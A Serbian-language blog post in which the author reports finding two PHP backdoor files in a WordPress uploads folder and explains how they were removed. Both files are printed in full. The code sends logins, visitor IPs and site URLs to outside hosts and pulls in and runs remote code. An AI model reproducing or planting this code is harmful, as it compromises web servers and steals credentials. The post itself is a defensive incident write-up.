Upadnem malopre sasvim slučajno u svoj wp-contents/uploads/ folder, kad ima šta i da vidim tamo: Dva PHP fajla, jedan base.php i jedan create.php, kao i jedan .htaccess fajl koji usmerava sve 404 greške na create.php. Budem radoznao, otvorim ih kad ono “obfuscated” kod, odnosno nije toliko obfuscated koliko je sve napisano u jednom redu. Ne budem lenj, otvorim ih preko PHPEdit-a koji sam dobio ranije (i za koji sam još uvek dužan da napišem review), odradim ctrl+shift+f (code beautifier) i dobijem lepo ispisan kod:

base.php

  1. if (isset($_POST["l"]) and isset($_POST["p"])) {
  2.         if (isset($_POST["input"])) {
  3.                 $user_auth = "&l=" . base64_encode($_POST["l"]) . "&p=" . base64_encode(md5($_POST["p"]));
  4.         } else {
  5.                 $user_auth = "&l=" . $_POST["l"] . "&p=" . $_POST["p"];
  6.         }
  7. } else {
  8.         $user_auth = "";
  9. }
  10. if (!isset($_POST["log_flg"])) {
  11.         $log_flg = "&log";
  12. }
  13. if (!@include_once(base64_decode("aHR0cDovLw==") . "hegfzzazbzbcd" . base64_decode("LnVzZXJzLmJpc2hlbGwucnU=") . "/?r_addr=" . sprintf("%u", ip2long(getenv(REMOTE_ADDR))) . "&url=" . base64_encode($_SERVER["SERVER_NAME"] . $_SERVER[REQUEST_URI]) . $user_auth . $log_flg)) {
  14.         if ($_POST["l"] == "special") {
  15.                 print "sys_active" . `uname -a`;
  16.         }
  17. }

create.php

  1. $s = "e";
  2. $a = (isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST);
  3. $b = (isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME);
  4. $c = (isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI);
  5. $d = (isset($_SERVER["PHP_SELF"]) ? $_SERVER["PHP_SELF"] : $PHP_SELF);
  6. $e = (isset($_SERVER["QUERY_STRING"]) ? $_SERVER["QUERY_STRING"] : $QUERY_STRING);
  7. $f = (isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER);
  8. $g = (isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT);
  9. $h = (isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR);
  10. $str = base64_encode($a) . "." . base64_encode($b) . "." . base64_encode($c) . "." . base64_encode($d) . "." . base64_encode($e) . "." . base64_encode($f) . "." . base64_encode($g) . "." . base64_encode($h) . ".$s";
  11. if ((include(base64_decode("aHR0cDovLw==") . "hegfzzazbzbcd" . base64_decode("LnVzZXJzLnBocGZyZWUucnU=") . "/?" . $str))) {
  12. } else {
  13.         include(base64_decode("aHR0cDovLw==") . "hegfzzazbzbcd" . base64_decode("LnVzZXJzLnBocGNvZGluZy5ydQ==") . "/?" . $str);
  14. }

Sve ovo što je base64_decode echo-ujem i vidim da je skripta napravljena da cross-site inkluduje u ovu skriptu štagod joj se prosledi sa http://hegfzzazbzbcd.users.phpfree.ru/, odnosno sa  http://hegfzzazbzbcd.users.phpcoding.ru ako ne uspe sa ove prve adrese – klasičan backdoor. Nemam pojma od kad to stoji na blogu, niti imam pojma otkud to kod mene u uploads/ folderu, i čudim se kako do sad bRlog nije deface-ovan, ali sad i da hoće neko preko toga da ga deface-uje – ne može, jer sam izbrisao skripte, i sprečio izvršavanje php skripti u uploads/ folderu.

A sad me izvin’te, odoh da proverim ostale blogove, što savetujem i vama. :-D